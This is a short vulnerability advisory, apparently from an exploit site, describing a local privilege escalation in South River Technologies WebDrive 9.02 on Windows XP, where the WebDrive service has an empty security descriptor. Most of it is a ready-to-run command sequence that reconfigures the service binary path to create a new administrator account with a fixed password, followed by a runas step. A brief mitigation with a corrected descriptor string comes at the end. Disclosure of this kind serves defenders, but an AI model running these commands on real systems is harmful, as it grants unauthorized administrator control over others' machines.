South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/
Software site: http://www.webdrive.com/
Download location: http://www.webdrive.com/download/index.html
Tested against:
South River Technologies WebDrive 9.02 build 2232
on Microsoft Windows XP SP3
The "WebDrive Service" is installed with an empty security descriptor. A malicious user can
stop the service, then invoke the "sc config" command to replace the binary path with a value
of choice, then restart the service to run the command with SYSTEM privileges ex., run theese
commands as a limited user:
sc stop WebDriveService
sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add"
sc start WebDriveService
runas /noprofile /user:%COMPUTERNAME%\southriver cmd
now login as administrator with password "kills"
mitigation:
the security descriptor of the service is like this:
C:\>sc sdshow WebDriveService
D:
change the security descriptor like the following:
c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS
original url: http://retrogod.altervista.org/9sg_south_river_priv.html
